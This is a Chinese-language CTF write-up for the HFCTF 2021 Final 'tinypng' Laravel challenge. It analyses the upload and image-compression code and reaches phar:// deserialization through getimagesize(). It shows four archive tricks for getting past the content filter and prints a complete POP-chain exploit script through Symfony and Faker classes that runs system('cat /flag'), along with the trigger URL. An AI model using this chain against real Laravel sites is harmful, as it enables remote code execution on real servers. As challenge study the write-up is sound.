[HFCTF 2021 Final]tinypng

[HFCTF 2021 Final]tinypng

查看源码。发现是laravel框架
先去看看路由,目录为 /routers/web.php

Route::get('/', function () {
    return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');

//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');

第一条路由是返回 upload 页面,视图文件位于 resources/views/*

其他两条路由,分别看他们对应的类和方法,位于 app/Http/Controllers/*

先看 IndexController 路由

class IndexController extends Controller
{
    public function fileUpload(Request $req)
    {
        $allowed_extension = "png";
        $extension = $req->file('file')->clientExtension();
        if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
        {
            $content = $req->file('file')->get();
            if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
                $error = 'Don\'t do that, please';
                return back()
                    ->withErrors($error);
            }else {
                $fileName = \md5(time()) . '.png';
                $path = $req->file('file')->storePubliclyAs('uploads', $fileName);
                echo "path: $path";
                return back()
                    ->with('success', 'File has been uploaded.')
                    ->with('file', $path);
            }
        } else{
            $error = 'Don\'t do that, please';
            return back()
                ->withErrors($error);
        }


    }
}

IndexController 的 fileUpload() 方法实现了一个文件上传的功能

  • 上传的文件后缀名只能以 png 结尾,且大小不能超过200k
  • 上传的文件会被存储在 public/uploads文件夹内,文件名不可控,为 \md5(time()) . '.png'
  • <?phpHALT_COMPILER 字符串进行了过滤
  • 上传成功后会返回储存的路径

再看 ImageController 路由:

class ImageController extends Controller
{
    public function handle(Request $request)
    {
        $source = $request->input('image');
        if(empty($source)){
            return view('image');
        }
        $temp = explode(".", $source);
        $extension = end($temp);
        if ($extension !== 'png') {
            $error = 'Don\'t do that, pvlease';
            return back()
                ->withErrors($error);
        } else {
            $image_name = md5(time()) . '.png';
            $dst_img = '/var/www/html/' . $image_name;
            $percent = 1;
            (new imgcompress($source, $percent))->compressImg($dst_img);
            return back()->with('image_name', $image_name);
        }
    }
}

ImageController 的 handle() 方法实现了一个压缩图片的功能

  • 读取 Request 中传入的 image 作为目标图片路径$source,因此这里$source可控
  • 上传的文件后缀名只能以 png 结尾
  • 文件名不可控,为 \md5(time()) . '.png'
  • 调用 imgcompress 类中的 compressImg() 方法对图片进行压缩
  • 压缩完成后返回图片的名称

继续跟进到 imgcompress 类里面:

class imgcompress
{
    private $src;
    private $image;
    private $imageinfo;
    private $percent = 0.5;

    /**
     * 图片压缩
     * @param $src 源图
     * @param float $percent 压缩比例
     */
    public function __construct($src, $percent = 1)
    {
        $this->src = $src;
        $this->percent = $percent;
    }

    /** 高清压缩图片
     * @param string $saveName 提供图片名(可不带扩展名,用源图扩展名)用于保存。或不提供文件名直接显示
     */
    public function compressImg($saveName)
    {
        $this->_openImage();
        $this->_saveImage($saveName);
    }

    /**
     * 内部:打开图片
     */
    private function _openImage()
    {
        list($width, $height, $type, $attr) = getimagesize($this->src);
        $this->imageinfo = array(
            'width' => $width,
            'height' => $height,
            'type' => image_type_to_extension($type, false),
            'attr' => $attr
        );
        $fun = "imagecreatefrom" . $this->imageinfo['type'];
        $this->image = $fun($this->src);
        $this->_thumpImage();
    }

imgcompress 类就是实现图片压缩:

  • 首先__construct()实现$this->src = $src,由于在ImageController类里面对imgcompress类实例化的时候传进来的是可控的$source,因此$src可控
  • compressImg()方法调用_openImage()方法
  • _openImage()方法用到了getimagesize($this->src),而$this->src可控

getimagesize()函数支持通过URL打开

image-20211021100451437

phar反序列化

既然getimagesize()支持传入URL,而且传入的参数我们可控,因此我们这里可以尝试使用phar://进行反序列化,但是题目在上传的页面那里对内容进行了过滤:

$content = $req->file('file')->get();
            if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
                $error = 'Don\'t do that, please';
                return back()
                    ->withErrors($error);
            }

因此需要想办法绕过字符的限制,这里有几个绕过的方法:

gzip

生成完phar再执行 gzip phar.phar

或者,在 new Phar('evil.phar') 后加一句

new Phar('phar.phar')
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);

zip

$a=serialize(new a());//序列化数据放在这里
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);//把序列化数据放进zip的注释里面
$zip->close();

不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。 解决方案:把\替换\5c,不过要注意别把不是S里的\也替换了。

tar

file_put_contents('.phar/.metadata',serialize($o));     //把反序列化数据写到.phar/.metadata

然后执行tar -cvf test.tar .phar/

bz2

 @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub('GIF89a'."__HALT_COMPILER();"); 
    $phar->setMetadata($o); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();

然后执行bzip2 phar.phar

以上4种方法都能够绕过字符串的限制,同时还能够成功phar反序列化

POP链

既然能有反序列化的入口了,那么就找反序列化的利用链

ImportConfigurator 类

第一个是 Symfony\Component\Routing\Loader\Configurator 中的类 ImportConfigurator

class ImportConfigurator
{
    //...
    private $parent;
    //...
    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }
    //...
}

__destruct() 方法里面的$this->parent可控,但是调用的函数名字不可控,因此找一个有__call()方法的类。

ValidGenerator 类

vendor/fakephp/faker/src/Faker/ValidGenerator.php

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    //...
    public function __call($name, $arguments)
        {
            $i = 0;
            do {
                $res = call_user_func_array([$this->generator, $name], $arguments);
                $i++;
                if ($i > $this->maxRetries) {
                    throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
                }
            } while (!call_user_func($this->validator, $res));

            return $res;
        }
    //...
}

选用这个类是因为这个 __call 方法中包含了清晰可见的 call_user_func_array()call_user_func(),其中$this->generator$this->validator可控,但是我们需要$res可控才能RCE,而$name并不可控,因此还需要再找一个__call()方法;另外我们为了触发一次 call_user_func,这里选择将 $this->maxRetries 置为 1 即可。

DefaultGenerator 类

我们再看到 vendor/fakephp/faker/src/Faker/DefaultGenerator.php 中的类 DefaultGenerator

class DefaultGenerator
{
    protected $default;
    //...
    public function __call($method, $attributes)
        {
            return $this->default;
        }
    //...
}

这里的 __call 方法会返回一个我们完全可控的 $this->default;于是到这里,ValidGenerator 类中的 $res 参数就是我们可以控制的了

完整POP链

<?php

namespace Faker
class ValidGenerator
{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($func,$param){
            $this->generator = new DefaultGenerator($param);
            $this->maxRetries = 1;
            $this->validator = $func;
        }
}

class DefaultGenerator
{
    protected $default;
    function __construct($param){
        $this->default = $param;
    }
}


namespace Symfony\Component\Routing\Loader\Configurator
use Faker\ValidGenerator
class ImportConfigurator
{
    public function __construct($a)
    {
        $this->parent=$a;
    }
}


$o = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
    new Faker\ValidGenerator('system','cat /flag')
);
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($o);
$phar->stopBuffering();
echo serialize($o);

事实上POP还存在不止这一条

利用

将生成的 phar.phar.tar.gz 文件后缀改为 png,然后上传,得到上传文件的目录

image-20211021151856831

然后到/image页面,利用 phar 协议进行反序列化:

/image?image=phar://../storage/app/uploads/xxxx.png

会返回500状态码错误,但是没关系查看源码即可。

参考资料

HFCTF2021 TinyPNG 复现

虎符2021线下 tinypng

虎符杯tinypng复现

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇